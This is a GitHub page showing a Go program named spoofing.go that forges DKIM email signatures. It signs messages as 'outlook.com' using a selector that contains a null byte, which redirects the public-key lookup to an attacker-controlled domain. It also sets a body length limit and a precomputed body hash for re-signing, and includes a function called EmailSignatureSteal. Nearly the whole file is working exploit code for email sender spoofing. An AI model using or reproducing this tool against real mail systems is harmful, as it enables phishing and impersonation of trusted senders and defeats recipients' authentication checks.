-
Notifications
You must be signed in to change notification settings - Fork 1
/
spoofing.go
198 lines (177 loc) · 5.12 KB
/
spoofing.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
package main
import (
"bytes"
"crypto"
"crypto/rsa"
"crypto/x509"
"encoding/pem"
"errors"
"github.com/emersion/go-msgauth/dkim"
dkim2 "github.com/esonhugh/go-dkim"
"go.uber.org/zap"
"os"
"regexp"
"strings"
"time"
)
const YOUR_DOMAIN = "helloworld.xxx.cn"
var log *zap.SugaredLogger
func init() {
logger, _ := zap.NewProduction()
defer logger.Sync()
log = logger.Sugar()
}
func main() {
ReSign(GenerateNewBodyHash())
}
func ReadFile(filename string) ([]byte, error) {
file, err := os.Open(filename)
if err != nil {
return nil, err
}
defer file.Close()
stat, err := file.Stat()
if err != nil {
return nil, errors.Join(errors.New("Error getting file stats"), err)
}
size := int(stat.Size())
data := make([]byte, size)
_, err = file.Read(data)
if err != nil {
return nil, errors.Join(errors.New("Error reading file"), err)
}
return data, nil
}
func ImportRSAKeyFromBytes(data []byte) (*rsa.PrivateKey, error) {
Block, _ := pem.Decode(data)
if Block == nil {
return nil, errors.New("Empty Key. Check your key file.")
}
return x509.ParsePKCS1PrivateKey(Block.Bytes)
}
func CreateNewBytesMail(filename string, data []byte) error {
_, err := os.Stat(filename)
if os.IsExist(err) {
err = os.Remove(filename)
if err != nil {
return errors.Join(errors.New("Error removing file"), err)
}
}
file1, err := os.OpenFile(filename, os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
return errors.Join(errors.New("Error creating file"), err)
}
defer file1.Close()
_, err = file1.Write(data)
if err != nil {
return errors.Join(errors.New("Error writing to file"), err)
}
return nil
}
func CreateNewEmail(data bytes.Buffer) error {
return CreateNewBytesMail("output.eml", data.Bytes())
}
func ReSign(bodyHash string) error {
options := dkim2.NewSigOptions()
options.PrivateKey, _ = ReadFile("mail.pem")
options.Domain = "outlook.com"
options.Selector = "dkim._domainkey." + YOUR_DOMAIN + ".\x00.any."
options.SignatureExpireIn = 3600
options.BodyLength = 50
options.Headers = []string{"from"}
options.AddSignatureTimestamp = true
options.Canonicalization = "relaxed/relaxed"
options.BodyHash = bodyHash
email, err := ReadFile(os.Args[1])
err = dkim2.Sign(&email, options)
if err != nil {
return errors.Join(errors.New("Error signing email"), err)
}
log.Infoln("Email signed by go-dkim successfully")
return CreateNewBytesMail("output2.eml", email)
}
func GenerateNewBodyHash() string {
// email is the email to sign (byte slice)
// privateKey the private key (pem encoded, byte slice )
pkey, err := ReadFile("mail.pem")
if err != nil {
log.Fatal("Error reading private key From file", err)
}
signer, err := ImportRSAKeyFromBytes(pkey)
if err != nil {
log.Fatal("Error importing private key:", err)
}
email, err := ReadFile(os.Args[1])
if err != nil {
log.Fatal("Reading Raw email Error:", err)
}
options := &dkim.SignOptions{
Domain: "outlook.com",
Selector: "dkim._domainkey.<your domain>.\x00.any.",
Signer: signer,
Expiration: time.Now().Local().Add(time.Hour * 48),
HeaderKeys: []string{"from"},
BodyCanonicalization: dkim.CanonicalizationRelaxed,
HeaderCanonicalization: dkim.CanonicalizationRelaxed,
Hash: crypto.SHA256,
QueryMethods: []dkim.QueryMethod{dkim.QueryMethodDNSTXT},
Identifier: "i",
}
r := strings.NewReader(string(email))
var b bytes.Buffer
if err := dkim.Sign(&b, r, options); err != nil {
log.Fatal("DKIM Signature generator error:", err)
}
str := string(b.Bytes())
re := regexp.MustCompile(`bh=[a-zA-Z0-9+/]*={0,2};.*`)
match := re.FindStringSubmatch(str)
if len(match) == 0 {
log.Fatal("Error getting body hash")
}
bh := match[0][3 : len(match[0])-2]
log.Infoln("Body Hash:", bh)
return bh
}
func EmailSignatureSteal() {
// email is the email to sign (byte slice)
// privateKey the private key (pem encoded, byte slice )
pkey, err := ReadFile("mail.pem")
if err != nil {
log.Fatal("Error reading private key From file", err)
return
}
signer, err := ImportRSAKeyFromBytes(pkey)
if err != nil {
log.Fatal("Error importing private key:", err)
return
}
email, err := ReadFile(os.Args[1])
if err != nil {
log.Fatal("Reading Raw email Error:", err)
return
}
options := &dkim.SignOptions{
Domain: "outlook.com",
Selector: "dkim._domainkey." + YOUR_DOMAIN + ".\x00.any.",
Signer: signer,
Expiration: time.Now().Local().Add(time.Hour * 48),
HeaderKeys: []string{"from"},
BodyCanonicalization: dkim.CanonicalizationRelaxed,
HeaderCanonicalization: dkim.CanonicalizationRelaxed,
Hash: crypto.SHA256,
QueryMethods: []dkim.QueryMethod{dkim.QueryMethodDNSTXT},
Identifier: "i",
}
r := strings.NewReader(string(email))
var b bytes.Buffer
if err := dkim.Sign(&b, r, options); err != nil {
log.Fatal("DKIM Signature generator error:", err)
return
}
err = CreateNewEmail(b)
if err != nil {
log.Fatal("Error creating new email:", err)
return
}
log.Infoln("Email Signature Generated By go-msgauth Successfully")
}